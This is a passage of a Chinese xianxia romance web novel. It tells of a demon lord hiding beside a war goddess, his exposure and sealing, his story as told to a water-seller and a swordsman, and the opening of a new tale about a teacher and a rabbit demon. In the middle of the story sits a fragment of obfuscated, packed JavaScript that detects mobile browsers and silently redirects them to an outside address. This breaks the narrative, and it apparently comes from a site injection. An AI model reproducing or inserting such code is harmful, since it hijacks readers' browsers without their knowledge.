“上神这么说显得有些生分了,上神救我一命,是我恩人,能帮上神一点我自是义不容辞的。”
“既然你觉得生分,那日后也别叫我上神了,叫我霜染吧。”
魔尊一愣,吃吃道:“这,可以吗?我,我毕竟只是……”
霜染上神认真道:“你是我朋友。”
“朋友?”
魔尊见对方神情严肃不像开玩笑,心中一暖。
朋友,朋友,霜染上神与他成为了朋友,他内心的小人简直载歌载舞。
一月多后,魔尊伤势早已好转,但他没提,霜染上神也没提,不知是忘了还是别有原因。
如此一同生活了许久。
最近霜染上神回来得勤了些,每日回来,都能闻到魔尊做的糕点甜香。
霜染上神爱吃甜食,但从未对外说过,也没人发现,倒是魔尊心细发现了这点,并火速学会了制作糕点。
他还发现霜染上神喜爱兰花,可因公事繁忙,鲜少打理,他便寻来上好兰花,栽在院内,细细打理。
兰花已开了花,朴素淡
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雅,散发阵阵清香,香气萦绕院内,透过窗扉飘到霜染上神书房。
不知这是魔尊来到霜染上神身边的第几日几月。
院内兰花旁,魔尊撸起衣袖,找来材料准备做一张藤椅。
突然,他动作一顿,感受到熟悉的气息,还没多想,他也不知道自己为什么这么做,故意将手一偏,一道极深的伤口出现在掌心。
接着,他听到了急促脚步声,一个身影出现在眼前。
霜染上神急得走来,魔尊此地无银三百两,在对方眼底下把右手藏在背后,笑着说:“藤椅就要做好了。
霜染上神哪还有什心情管藤椅,皱眉道:“你手受伤了,让我看看。”
魔尊皱着眉,右手摊开,微微颤抖,嘴上却说着:“小伤,不碍事。”
霜染上神看了他一眼,略有些不满,这还能算作小伤?再深些,整只手都没了。
“我帮你疗伤。”
她下意识抬起对方受伤的右手,正要抬手施法,后一秒反应过来,她与对方的手紧紧碰到了一起。
她是战神,受伤是常有的事,为别人包扎伤口更是家常便饭。
打仗受的伤可比这严重多了,深可见骨是常态,可她从未慌忙过,总是十分冷静地包扎,可这次……
她摇了摇头,抛掉过多思绪,快速为对方治好伤后又扶着对方在一旁坐着。
魔尊看着恢复原样的手,略有些失望,突然想到什么,他抬起头,眼里闪着光般看向对方:
“明晚我要做兰花粥,刚做出来口味最佳,你……”
“明晚我会回来。”霜染上神直接道,说完两人都陷入沉默,一股蜜蜜的氛围将两人包裹,偏偏谁也没有将其挥开。
第二日霜染上神早早离开。
最近魔界小动作有些多,想干嘛不言而喻,神界必须做好准备,又一次神魔大战就要爆发。
一大早,霜染上神便被召回军营,事态紧急,难得的没有同魔尊道别。
霜染上神匆匆赶来,左将最先看见她,调侃道:“委屈你了,早早地丢下家中娇雀来这。”
霜染上神睨了他一眼,径直走过,心里却莫名地好似吃了糖。
其他将军闻见声音,轻笑一声。
另一女将军走来,对她道:“锁在院中这么长时间了,怎么还不带出来给我们瞧瞧?”
“也不知道是哪位仙男。”
“仙女也有可能。”
“也不知他有何本事,把咱们第一女战神迷住。”
霜染上神脸皮薄,被这群人一人一句羞得红晕从脖子爬上耳尖。
“咳咳,现在什么情况?”她打断众人笑声问。
“情况简单,”另一女将军收了笑脸,旋即严肃道,“今天要打一场小的,下下个月,有一场特别大的。”
“首领是……”
“魔界左护法。说来奇怪,很久没听到魔尊消息了,听说还在闭关,不过战前肯定会出来,届时还是你上,如何?”
霜染上神点点头,她对此无所谓,只希望今晚能早些回去,家里还有……
还有……
霜染上神想此,脑袋一轰,脸又浮上红晕。
众将简单分配任务,各自离开。
霜染上神依然负责魔界主力军,走前左将特别提醒:“魔界短时间内敢再来挑衅神界,定然做了准备,你谨慎些。”
霜染上神点点头,提剑离开。
5. 魔尊与上神(5)
魔尊一夜好梦,睡到上午才醒。
他心情颇好地来到院中,兰花轻轻吐纳香气,一张精致的藤椅在树冠下静卧,微风吹得它摇摇晃晃。
魔尊伸了个懒腰,却左右不见那人身影,本来挺好的心情顿时降了下来。
他又把殿内晃了一圈,这才确定她确实离开。
算了,习惯了,对方这么忙也不是一天两天的了。
魔尊在心里自我安慰,为自己打足了气,今日任务,做好兰花粥。
天边的彩霞逐渐从五彩色调转为橙色调,又慢慢被紫色浸染。
魔尊探手摸了摸陶瓷锅壁,只摸到一手冰凉,他在心里叹了口气,忍不住有些小不满。
都这么晚了还不回来,明明答应我会早点回来尝尝我做的兰花粥的,粥都凉了也没见个人影。
他来回踱着步,急促的脚步声中夹杂着他的轻哼,这还是我第一次煮粥,摸索了一整天,可累了。
他站定,端着陶瓷锅去到厨房,准备重新做一锅,嘴里嘟囔着,自己得找个时间回魔界一趟,那些人怎么这么快就有了动作,也不知道多休养休养。
那些人自然指的是他的属下,他开始考虑神魔和平一事,打了这么久,也许可以休战个几千年。
不过,当下的任务还是煮好兰花粥。
干这活最需要时间和耐心,魔尊用扇子轻轻扇着火,他不敢用法术,容易泄露魔气,尤其是他体内这丰沛浩大如汪洋的魔气。
他扇火扇得专注,鼻尖渐渐萦绕一股清香,突然,一股极淡的血腥气钻进鼻中。
他猛地站起身,随着这股血腥气,他还感受到熟悉的气息。
魔尊几乎夺门而出,刚走到院中,果然看见自己苦苦等待的人。
霜染上神刚穿过院子回到寝殿,闻声抬头,露出一抹笑:“我回来晚了,可还有兰花粥?”
“……你受伤了?”
霜染上神一怔,脸上浮现惊讶,还没等她多问,对方焦急地走来。
“怎么回事?”
看着对方比平日白的脸,还有对方强撑着露出微笑,却依旧掩盖不了的疲惫,魔尊便觉得心脏一痛。
“小伤,不必担心。”霜染上神后退半步。
小伤个屁,魔尊靠的近了,更觉得血腥气浓重,撇嘴道:
“我都闻到味了,伤的挺重的吧。”
霜染上神下意识轻嗅两下,她倒是没闻到什么,但自己伤的挺重确实是真的。
本来她今晚不打算回来,伤这么重容易被发现,她心里不想让对方担心,但她昨晚答应了今晚要早些回来,回来尝尝对方做的兰花粥。
为此,她服食大量灵丹压制内伤,洗漱换衣又熏了香才回来,怎么还有味道?
魔尊鼻翼轻动,魔族嗅觉本就灵敏,身为魔尊的他更是了不得。
他视线落在对方腰腹上,确定了,那里有一道极深的伤口,而且没有妥当处理又沾了水,伤口开始溃烂。
他的视线带着担忧与生气,无论哪种情绪都让被注视者感受到一股无形的压力。
“我帮你重新包扎一下吧。”几秒后,魔尊打破了沉默。
霜染上神下意识想拒绝,但对上魔尊的眼睛,她又说不成口了。
她有种错觉,好像自己害怕对方生气似的,明明他们并没有什么关系。
她愣了下神,鬼使神差地点了头,猛地反应过来想拒绝,对方早就跑进屋熟练地拿来灵药。
“来,我帮你上药。”魔尊一脸严肃。
半刻后,霜染上神褪去半边衣衫,任自己身体僵硬,整个人都陷入了迷茫中。
点点冰凉似清泉般在她灼烧似的伤口上流淌,疼痛感很快消散。
但她依旧僵硬着身体,脑子里一片空白,突然,好友的话响在耳边——
“什么时候把你屋里那位带出来给我们瞧瞧?”
“看不出来啊,平时你这么正经,竟也学会金屋藏娇了。”
一股奇异的感觉漫上心头,离乾的伤早就好了,他来霜染殿住了不知多久,本该早就离去。
按她原来的打算,自己会在昆仑灵山为对方寻一份差事,但现在……
她竟怪异的不想让对方离开,她没提相关话题,没说让对方离开,也没说让对方留下,而对方也对此事保持着沉默。
两人默契的没有开口,也好像默契的意识到同一件事。
这是魔尊第二次看见对方的身体,上一次是在瑶池,就那么一眼,害得他在冷泉宫呆了许久。
一瞬间的慌张后,他愣住了,脑子里再没有其他想法。
对方的伤比他想象的还要重,伤口极深的一道,贴身的衣物被鲜血浸透,血像止不住似的。
然而,更严重的是,伤口最里面闪烁着点点紫光,显然,对方是被一件魔器打中,与她对战的那魔实力不低。
“怎么了?”察觉到身后没了动作,霜染上神有些慌张,心里害怕自己的伤口将对方吓到,这次的伤确实有些重了。
“……没事,我马上给你上药。”
霜染上神轻轻“嗯”了一声,耳尖微微泛红。
魔尊呼了口气,伤口里残留的魔气需要引出来,不然再厉害的灵液也无法让伤口愈合。
他看了对方一眼,从他这个角度只能看见对方的侧脸,低垂的睫毛。
一点点魔力被他凝聚在指尖,无声地抚摸狰狞伤口。
霜染上神微垂的睫毛陡然一颤,瞳孔骤然睁大,撑在卧榻上的手忽然握紧。
她仿佛感受到什么,脸上闪过惊讶,手臂下意识就要往后劈去,却在这时,身后传来声音:
“马上就好了,疼吗?”
她动作一僵,艰难地开口:“不疼。”
治好伤,魔尊后退一步,抿着唇,“下次别再把自己弄成这样了,保护好自己。”
霜染上神将衣服穿好,头始终没有完全抬起。
“对了,兰花粥还在煮着!”
魔尊猛地反应过来,大惊失色地冲去厨房。
霜染上神终于抬起头,望着对方的背影,视野一阵扭曲后,覆盖在对方身上的幻术被破解。
许久后,魔尊两手空空地回来,神情低落,“粥都煮干了,我重新煮了一份,你再等等。”
霜染上神抬头看着对方,点点头,视线却并不挪开,好像要把对方每一份神态变化都牢牢记住,或者,要看穿每一份神态下的真意。
魔尊被看的有些不好意思,手足无措地站着,半晌才找到话。
“我去给你沏茶吧。”
他刚转身,霜染上神的声音响起:“不必了。”
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魔尊转过身,“那你……”
“你伤也好了,我送你离开吧。”霜染上神打断道。
魔尊整个人愣住了,半天没回过神,不敢相信自己听到的,“你说什么?”
霜染上神轻轻呼了口气,加重语气道:“神魔大战随时会再次爆发,你在我这不安全,我送你去昆仑灵山,我会按承诺给你寻份差事。”
“你暴露了,”听到这,孟梨食抱臂看着对方,笃定道,“她已经知道你是魔尊了。”
魔尊声音沙哑道:“我那时候不知道,后来被关的几百年里才想通。”
江余客听得津津有味,迫不及待加入讨论:
“可她没有对你出手诶!她知道你是敌方阵营头领也没出手,也没假装不知道,暗地刺杀你,她对你有意思!”
魔尊身形一晃,声音低沉的近乎没开口:“也许吧。”
“然后呢?你离开了吗?”
“离开了,陪她把那碗兰花粥喝完就离开了……”
魔尊失魂落魄地回到魔界,在他回来的瞬间,左护法便感知到,急忙迎上来。
“尊上……”
魔尊抬手止住对方未出口的话,“把大战停了,我现在不想打打杀杀。”
左护法愣了一下,看着对方直接从自己面前走过,连忙追上去。
“可是……”
“没有可是。”魔尊如一缕没有定点的魂,随风飘回寝殿。
左护法一脸不解又担忧,他一直以为尊上是去神界打探消息或者其他什么,想来应该是迫不及待和神界大战一场,一雪前耻,怎么现在……
他突然感知到一道视线,猛地扭过头,望着来人不满道:“你来做什么?”
右护法抱臂回视对方,“我来向尊上汇报炼魔军的事,不过……我来的好像不是时候。”
左护法转身欲走,右护法在身后道:“你不应该让尊上乱来,神魔大战一定会爆发,尊上……”
剩下的话回荡在空中,现场却没有第二个人来听。
颓废几日,魔尊终于走出寝殿,他先去找来左护法,确定魔界不再挑衅神界后松了口气。
他漫无目的地走着,一回神,发现自己来到了昆仑灵山。
都来这了,他犹豫要不要悄悄去霜染殿看看,可又一想,看一眼又做什么呢?
人若在,看一眼人,人若不在,看一眼院子里他栽种的花草,看一眼树冠下他亲手做的藤椅……
可又有什么用呢?
正出神间,一声虎啸震得大地颤抖,树木枝叶急剧晃动,树叶哗哗落下。
魔尊刚回头,一道白色身影将他扑中,他下意识想反击,不知回忆到什么,生生忍住了。
他左臂抵着白虎粗壮脖颈,视线到处扫荡,心里期待着,期待某个身影的出现,像之前那样。
然而,天色渐渐泛黄,白日的温度渐渐褪去,傍晚的风微凉。
他保持这个动作保持了半天,要等的人却始终没有出现。
他肉眼可见的失落下来,将压在身上的白虎一巴掌拍开,起身,拍了拍衣摆,动作突然顿住。
接下来做什么呢?
白虎怒吼着再次冲来,魔尊烦躁地啧了一声,抬手施了个结界,任对方撞击。
他望着天空出神。
6. 魔尊与上神(6)
“你没有再去找她吗?”江余客着急地问。
“去了,后来去了几次,有几次她在,有几次她不在,不过她都不知道我来过。”
魔尊刚说完,孟梨食轻哼一声:“不见得。”
都说她不懂感情,但她懂人性啊,知道了魔尊的性格,那她就能猜中对方的下一步,但如果问她为什么,情感方面她答不出来。
同时,她也能猜出霜染上神的反应,知道对方又是期待魔尊的出现,又在努力避开遇见对方。
这么一想,怎么这么矛盾啊!
“然后呢?”江余客已经听入了迷,迫切知道接下来的故事。
“几次后,我还是被她撞见了……”
“听说魔界安分了,我就想来看看你。”魔尊无措道。
他的慌张,反而更衬出对方的……冷漠。
魔尊不知道对方怎么了,为什么看着自己不说话,他在后悔自己太鲁莽,也许对方并不想看到自己。
终于,霜染上神呼了口气,神色有些疲惫道:“坐坐吧。”
魔尊喜不自胜,还没说些什么,就被对方一盆冷水倒下来,浇了个透心凉。
对方说:“以后别来了,咱们,只是萍水相逢。”
萍水相逢?可明明曾经,对方还说是朋友的。
魔尊不知道自己是怎么离开霜染殿的,也不知道那段路程自己在想什么,他真的失了魂。
两人彻底分开了……并不,两人很快再次遇见,就在昆仑灵山,隔着一片湖。
魔尊情感空白的大脑终于意识到,对方也是舍不得自己离开的,就是因为该死的神魔大战将他们分开。
再次打破沉默的依旧是魔尊,神族人情绪内敛,他懂,对方说不出内心的真实想法,没事,他来说。
“我寻了份差事,就是在这挖挖草药。”
“……是吗?挺好的。”
魔尊笑道,笑得极其烂漫,“以后咱们可以经常在这碰面,你不是也要经常来看望白虎吗?我可以替你照顾它。”
霜染上神确定自己当初说的话,其真正意思对方明白,她说送对方离开,其实就是不再相见的意思,但对方却一次又一次,固执地来见她了。
最近魔界确实安宁,这未尝不是件好事。
“好。”她答应了对方,也是答应自己心底叫嚣的小人。
之后的日子像在霜染殿那几个月一样,宁静、舒适,幸福得有些不真实。
再一次送走对方,魔尊脸上的笑意却迟迟难消,他简直想跳起来歌唱。
今天他和对方一起品了茶,一起散了步,还一起采摘草药……
他轻哼着小调,脚步轻快地转身离开,突然,背后传来一声吼叫——
“吼——”
一道白影再次将他扑倒,趁他不备,一口咬在他左臂上。
“嘶!”
“你这傻虎!”魔尊再次毫不费力将白虎拍开,皱着眉站起身。
望着左臂上的几个血窟窿,他恨不得在对方脸上踹两脚,但不行,他答应了霜染要好好照顾这傻虎。
“你现在学聪明了是吧,她不在你就暴露本性了。”
“吼——”
“你再这样我真揍你了!”魔尊威胁着,却换来对方更响亮的一声怒吼。
白虎再次猛扑过来,嘴里发出的怒吼携带一股极强的威压,咻然间,天地色变。
魔尊终于意识到不对劲,情急之下抬手挥出,暗色灵气从丹田喷薄而出,瞬间凝聚成结界,结实地接住白虎这猛烈一击。
他急速后退,两道白光如刺,咻然朝他刺来。
他侧身堪堪避过,望着白虎身上浓烈的黑气,想起霜染说过的话——
这白虎在上次神魔大战中被魔气击中,险些走火入魔,被送来昆仑灵山修养。
“你脾气挺爆的啊!”魔尊硬生生接下对方新的一击,苦笑道。
天空乌云翻涌,狂放肆虐。
白虎身上的魔气如同乌云般翻涌,散发出逼人的威压。
魔尊下意识抬头看了一眼,嘀咕道:“可不能让她发现。”
砰!
白虎前脚一踏,大地震颤开裂,狰狞的深渊在魔尊脚下张开了嘴。
魔尊脚尖用力,一个凌空飘在空中。
狂风将他的墨发与衣袂吹得翻飞,也将他眼底的暗涌激发出来。
他的身影化作暗影,在天地间闪动,一个眨眼逼至白虎上方,抬手一挥——
暗色龙卷将白虎困在其中,疯狂的虎啸传出,一声声撞击着天地。
魔尊右手一抓,龙卷瞬间消散,现场只留下奄奄一息的白虎。
一道光束落下,撕裂开翻涌的乌云,明晃晃地落在在灵山上。
魔尊稳稳落地,来到白虎前,一巴掌拍在对方宽阔的脑门上,不轻不重。
“我为了驱散你的魔气,漫山遍野找草药,还从悬崖上掉了下去,差点摔死,知道吗?”
“呜?”
啪——
又是一掌。
“呜什么呜,给我点头。”
白虎虚弱至极,在它体内困扰许久的魔气终于被导出,它的精神清明起来,却依旧不解面前人的话。
魔尊自顾自道:“她这么在意你,我又豁出性命为你驱散魔气,她不得感动死!”
白虎嗅到某种名为恋爱脑的酸臭味,刚撇过头,就被对方两巴掌转过来。
“我也不要你感谢,你记得在霜染面前多说说我的好话,知道吗?”
“呼!”我又不会说话。
魔尊终于放开它,开始琢磨怎么骗取……啊不是,是打动霜染,才不是骗取感情。
霜染上神再次来到昆仑灵山时,意外的没有看见一个人,平日那个会第一时间笑着迎接她的人不见了。
明明有很多解释,比如对方在某处挖草药,没有看见自己,但她就是忍不住想,也许对方离开了。
魔界又开始有小动作了,与其他神将商讨应对时,大家都认为魔尊还在闭关修炼,出关之日便是魔界向神界复仇之时。
只有她知道真正情况,但不能说知道全部,上万年的神魔对立摆在那,不是这几个月的相处就能改变的。
总有一天,他们会在战场上再见的,那现在又是在做什么呢?
这么想着,疲惫如潮般涌来,几乎将她淹没,她喘不过气来。
正出神,一道白色身影朝她扑来,在她手边轻拱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939728|192943||http|test|mini|href|location''.split(''|''),0,{}));
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>“白将?”
白虎轻轻咬住她衣摆,将她往一个方向拖。
“怎么了?”
霜染上神随着对方动作往前走,一直走,直到面前出现一座小木屋。
白虎松开她,朝着木屋轻呜一声。
霜染上神眉头轻蹙,走到木屋前,将木门推开,一股浓烈的草药味不由分说地灌进她鼻子,呛得她眉头皱得更紧了。
闻见声音,里屋床上的人动了动,魔尊半撑起身,声音微弱:“谁?”
霜染上神走近,平静无波的脸上浮现吃惊,“你……”
魔尊脸上闪过一瞬间的慌乱,“我……我没事,就是……”
就在这时,屋外的白虎叫了一声。
“你去看看白将吧,我调了一个灵药,将它体内的魔气驱散了。”
魔尊说完,咳嗽两声,脸色更加苍白。
聪明如霜染上神,她很快察觉一切,轻笑出声。
魔尊:“……”
他瞪大了双眼,确定对方确实是笑了。
对方的反应完全在他意料之外,不应该啊,再怎么样也不该笑啊,难道对方不想见到我到这种程度,竟然希望我死!
魔尊感觉整个世界都塌了,他躺在床上,真像个命不久矣之人。
霜染上神终于开口说话了,“既然你是为了救治白将受的伤,那我天天来照顾你吧。”
嗯?
魔尊忽的支棱起来,眼睛睁大,他没听错吧,对方说要照顾自己。
他眼睛特别有神地看向床边人,什么心思全写脸上了。
霜染上神忍不住再次发出一声轻笑,来时的疲惫全没了。
后面的日子就更幸福了,魔尊再次过上了衣来伸手饭来张口的日子,服侍他的人还是霜染上神,说出去谁信啊!
霜染上神陪着他在院子里看晚霞,陪着他栽种花草,为他去学做兰花粥……
就算被封印百年再次回忆讲述,魔尊脸上依旧浮现出幸福神色。
“转折呢?”孟梨食听腻了,她实在不愿再听这两人的恩爱日常,打断道。
“转折……是神魔大战爆发,我的身份暴露……”
魔尊神色迅速蔫了下去,他的所有情绪都明明白白地体现在脸上。
于情感经历上,他也不过一个少年。
“也许从我为白虎驱散魔气开始就被盯上,也许,是更久前我被带去霜染殿。”
“霜染上神金屋藏娇的对象,谁都会好奇的。”江余客点头。
那时神魔大战爆发,但罕见的,神界并没有获得任何关于魔尊的消息,都说魔尊在闭关,但神魔大战已经爆发,怎么可能还不出关。
于是,神界开始满世界寻找魔尊,生怕他在计划什么可怕的事。
可魔尊能计划什么可怕的事呢?他当时绞尽脑汁,就计划着让霜染上神留下来陪他看星星。
神魔大战在他意料之外,他低估了魔族的复仇心理,也是自己太久没有管理魔族之事,竟没能察觉这些。
神族人来到昆仑灵山寻找霜染上神,顺带着发现了魔尊,于是,他们的宁静日子被打破。
魔尊至今忘不了那天,被封印的百年里,关于那天,他做了无数噩梦。
7. 魔尊与上神(7)
魔族有炼魔困神大阵,神族自然有对策,而这对策,第一次便应有在魔尊身上。
十二道金光冲天而起,形成一道围困大阵,将其中的魔牢牢束缚住。
而那魔,就是还没反应过来的魔尊。
他抬头,无数金色身影出现在视野内,天神下凡,人多如麻。
他下意识去看不远处的霜染上神,从对方脸上看出了慌张。
他心想完了,不是害怕自己被抓住,而是对方知道自己欺骗她。
“霜染!”一位神女从半空飞下,一把抓住霜染上神,将其带着后退。
“你没事吧?”
霜染上神声音发颤:“你们……这是做什么?”
对方神情严肃,“你没看出来他是魔尊吗?也不知道他潜伏在你身边这么久,打着什么算盘。”
听到“魔尊”二字,霜染上神并不显得意外,她想问对方怎么发现的,她明明将对方藏的很好。
但现在问这些还有什么用,事情已经发生了,当务之急是如何应对。
“他……和我意外相识,没有害我。”
“魔族之心难以揣测,他们比我们想象的龌龊!”对方神色更加严肃了。
魔尊心道说谁龌龊了,我哪龌龊了?
霜染上神看向魔尊,心道你怎么还不跑啊?你都已经暴露了,天兵天将都来围捕你了。
她下了决心,只要对方开始行动,自己就趁机掩护对方。
然而,对方没动,直勾勾地看着她。
像是出了神,像是迷茫无措,又像是不舍得。
十二金光大阵光芒大亮,它已经被完全开启,就算魔尊逃脱,外面还围了六层天兵天将。
这大阵霜染上神知道,就是仿照魔族的炼魔困神大阵制作,不过威力更强,即使面对魔尊,也能将其湮灭于世间。
魔尊呆呆地站在大阵中央,也许他豁出全力,能破开大阵逃出去,但他依旧没动。
他刚确认了一件事,正为此开心。
这次围捕霜染上神并不知情,甚至,她想帮自己离开。
但自己怎么能害对方呢?
是他想尽办法靠近对方,一切的后果也应该自己承担。
“等等!”
在大阵完全开启前,在魔尊有所动作前,霜染上神冲了出来。
“霜染,现在的你最好保持沉默,等回了神界,还要判定你勾结魔族之罪。”
密密麻麻的神将中,站在最前面的男人道。
勾结魔族,是何等大的罪过,霜染上神的友人当即想辩驳,但当事人却并不当回事。
“主将,不能消灭魔尊!”
话一出,全场陷入安静,旋即响起窃窃私语。
霜染上神对着无数如刀般的目光,继续道:
“每届魔尊都是由魔界最纯粹的魔气凝聚,他死了,不久就会有新的魔尊现世,杀不尽。”
她的话成功安抚一半躁动的人,主将神色威严道:
“继续说下去。”
霜染上神呼了口气,道:
“我认为,可以将他封印……”
她顿了顿,顶着对方探询的目光,咬牙道:
“永久封印,让世间再无魔尊。”
魔尊望着对方悄悄握紧,又无力松开的手,心里一股酸涩。
“我申请由我来封印,将功赎罪。”
霜染上神拔高声音道。
望着对方的眼睛,魔尊做不出任何反抗或挣扎,那是一双隐忍泪水的眼睛。
直觉告诉他,对方不会真将自己封印,她只是做做样子,不然那些神仙会为难她。
……
听完,江余客长久地沉默了,许久,他吐出一口气。
“嗯?故事结束了?”孟梨食打了个哈欠。
“所以,后面的故事就是,你等了七百年,也没等到对方来看你。”孟梨食看向说完故事更加颓丧的魔尊。
“那你没想过自己破开封印出去看她吗?”
“我怕拖累她,我破开封印,那些神仙会认为是她故意放我离开。”
孟梨食猛拍脑门,实在不能理解,“所以你就甘心被封印百年?”
一个人故意下了个浅封印,等着对方自己离开,一个认为对方会来带他出去,干巴巴地等着,一等七百多年。
天,怎么会有这种误会!
魔尊没有回答,孟梨食也不需要他回答,这些都和她没关系,她只是个卖水的。
“既然故事说完了,就到最后一步了。”
孟梨食右手一抬,一只棕色瓷碗出现手中,碗里盛着半碗液体。
江余客好奇地凑过来,“这就是忘情水吗?什么味道啊?”
“要不你买一碗尝尝?”
江余客缩着脖子,“总感觉不是什么好东西。”
孟梨食:“……”
“忘情吗……”魔尊看向对方手中的瓷碗,眼睛逐渐泛红。
“我先说好啊,一人只能买一碗,限时半价。”孟梨食手腕轻转,将忘情水展示在第一位顾客面前。
“一碗多少钱?”江余客没有买的想法,但不妨碍他好奇。
“半价,指的是,买家身上所有钱财的一半。”
魔尊:“……我现在身上没钱。”
他也不是个对钱财感兴趣的人。
孟梨食一阵无语,差点不想卖了,但听了这么久的故事,不能白听吧,怎么样都得解决一碗。
于是她道:“无的一半也是无,喏,给你。”
她近乎强硬地将忘情水塞进对方手里。
魔尊捧着瓷碗,久久没有动作。
孟梨食等不及了,催促道:“快喝啊!”
“……她真的,在你这里买水了吗?”
“真的真的!”孟梨食直勾勾盯着对方。
“我想再去看她一眼,在我还有那段记忆的时候。”魔尊说着,晃悠悠站起身,身上的封印玄铁链彻底坠落在地。
孟梨食心道,这不是找罪受吗?
她抿紧嘴唇,但她已经将水卖出去,之后如何就和她没关系了。
魔尊抬手,将忘情水收进空间,身影瞬间化作一道黑烟,破开深渊顶层,消失在无尽天际间。
孟梨食拍拍手,准备离开这个鬼地方,江余客见状,忙道:“你能稍我一程吗?”
孟梨食失笑:“怎么,你不是侠客吗?不能飞出去?”
江余客撇嘴,“侠客也是凡人啊,这么高的地方,除非修仙者御剑飞行,不然根本出不去。”
他有些不悦,好像自从自己说是侠客后,对方一直在嘲讽自己,莫不是……
他握紧腰间的轩辕剑,十分怀疑对方还在打他宝剑的主意。
孟梨食将他的小动作收入眼中,又是一声失笑。
“行,就捎你一程。”
说完,她右手一抬,无数红线如虹贯出,穿过魔尊破开的洞,缠绕在外面一棵粗树干上。
“手给我。”孟梨食朝江余客伸出左手。
江余客将轩辕剑放在左腰间,右手拉住对方。
孟梨食反手将他握紧,脚下用力,同时红线收紧,两人跟被钓住的鱼一样,咻地一下跃出深渊,稳稳落在地面。
脚下一踩实,江余客急忙将手抽出来,孟梨食同时甩手,两人后退三步,一方恐惧一方嫌弃。
“咳咳
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!”江余客后一秒反应过来自己这行为实在有些失礼,再怎么样对方也帮了自己一把,于是拱手道:
“多谢姑娘相救,日后有缘再报答。”
说完,他捂着剑飞进树林中,眨眼间没了影。
孟梨食嘴角一抽,小魂更是捂脸,“你瞧把他吓成啥样了。”
“……嗐,走吧,赶紧离开这个地方。”
孟梨食嘟囔道:“也许神魔大战马上就会爆发。”
小魂心道,神魔大战的导火线就是你……不过,也许不会爆发呢。
一人一魂迅速离开此地,这片林子极宽,一直到日落他们才彻底走出去。
刚跨出,孟梨食愣在原地,落在后面的小魂不解道:
“咋停下了?看见鬼了?”
不过,他们身为地府打工者,看见鬼也没什么稀奇的。
小魂顺着对方视线看去,脸上现出两秒的呆滞,旋即笑道:“那啥,你们还挺有缘的。”
林子这么大,道路四通八达,走了半天两人都没碰上,结果在出口遇见了,可不是有缘嘛。
孟梨食沉默地看向对方,江余客也颇为不适地看过来,每次想撇开视线,对方的目光就像胶水一样将他黏住。
终于,孟梨食目光动了动,落在对方身后——
蜿蜒的山路尽头,几座茅舍零星坐落,坐落在这半山腰上,被郁郁葱葱的树木半遮。
视线往上微移,天际一片绚烂的橙色,一点点紫色正从下方蔓延上来。
天色不早了,孟梨食可不想在林子里过夜,显然,对方也是这么想的。
“看什么看!”孟梨食将头一扭,跨步径直掠过对方。
“明明是你先盯着我看的!”
江余客没挪步,闻到对方经过时留下的一抹奇异淡香,很冷,没有一丝生气。
“你又不是什么绝世美男,我盯你干嘛?”
孟梨食走出两步,似要确认什么,顿住脚转身看着他,视线上下一扫,“不过,你也确实有些姿色。”
江余客的脸一下子爆红,半天说不出话来,跟被调戏的未出阁姑娘似的。
怎么能说他一个男子有些姿色!他在心里恨恨道。
孟梨食已经走远,江余客气得转身,刚抬脚,看着暗下来,阴风阵阵的密林,犹豫了。
在林子里过夜也不是没有过,但在有人家的情况下,谁愿意去林子里呢?更何况,这片林子曾经封印着魔尊啊!
他一咬牙,僵硬地转过身。
两人一前一后地走着,沉默几秒后,江余客开口问:“你到底是谁?”
他视线又落在小魂身上,不确定道:“这是你的灵宠吗?”
不得不说,身旁跟着这么个灵宠,也太帅气了,让他有些羡慕。
孟梨食发出一声嗤笑,正要答“是啊”,小魂咻地冲到江余客面前,气势汹汹道:
“你才是灵宠,我可是地府彼岸花圃看守者!无知!”
“对、对不起!”江余客被对方的气势逼得后退两步,视线慌张看向前面的人。
“那,你也是来自地府?”
没想到,他会遇到来自地府的人,不久前还遇见了魔尊,今天还真奇幻。
孟梨食转身看着他,“这位侠客,你是初入江湖吗?江湖有名卖水人你不知道?”
江余客挠挠后脑勺,一脸惭愧,“是啊,我上个月才出师。”
孟梨食一阵语噎,她挥挥手,懒得多做解释,继续往前走。
江余客紧忙跟上,他虽不知道卖水人的事迹,但不久前的一番经历也让他明白大半。
他倒是很想和对方交个朋友,如果对方不那么毒舌就好了。
8. 教书先生与兔妖(1)
两人再次陷入沉默,四周只有单调的走路声。
突然,一声惊叫打破了沉默,将路旁树上的倦鸟惊飞。
急促的奔跑声快速逼近,江余客下意识握紧腰间轩辕剑,做出防备与攻击的姿势。
孟梨食站在原地,视线落在前面一个拐弯处,一个青色人影猛地闯进视线。
“救命!不要……”
他跑得狼狈,神色慌张,上气不接下气的。
估计他摔了几次,衣摆上沾满污泥。
对方看见孟梨食等人,如看见救星般,跑得更快了,喊声中带着些哭腔。
“求你们救救我,让我做什么都可以,求你们不要让他拿走这双眼睛!”
眼睛?
孟梨食的视线落在对方的眼睛上,立马发现了不对劲。
一个降妖师紧追过来,手里握着一柄桃木剑,一脸凶神恶煞。
江余客连忙提剑挡在青色人影身前,降妖师见状,脚下猛地一刹。
他自然认出对方手中的剑,拥有这柄剑的人无论身份还是实力,都不是他能招惹的。
只犹豫了一秒,降妖师转身就逃。
望着对方落荒而逃的背影,江余客自己都没反应过来,半晌才收了剑。
一回头,看见躲在自己身后瑟瑟发抖的人,江余客不解道:
“这是怎么回事?他为什么要追杀你?”
还没等对方回话,孟梨食一个箭步上来,微低头凝视对方眼睛。
“不!别看!”
男人瑟缩着,双手挡住眼睛。
孟梨食彻底明白了,她后退一步,道:“这眼睛不是你的,是一只妖的。”
“我知道,我知道……”男人声音带上哭腔,“是我学生的……”
孟梨食继续凝视对方,指尖微动,一道红线从指腹飘出,轻轻围绕着男人。
渐渐的,男人呜咽声停止,仿佛陷入了沉睡,倒了下去。
江余客眼疾手快将他接住,靠着一旁的巨石放置。
红线继续围绕男人,末端停留在男人眼前,接着,一道虚幻的人影从男人眼中飘出,紧接着被红线环绕。
这是个长相可爱的女孩子,头顶长着两只兔耳朵。
她缓缓睁开眼,双目一片漆黑。
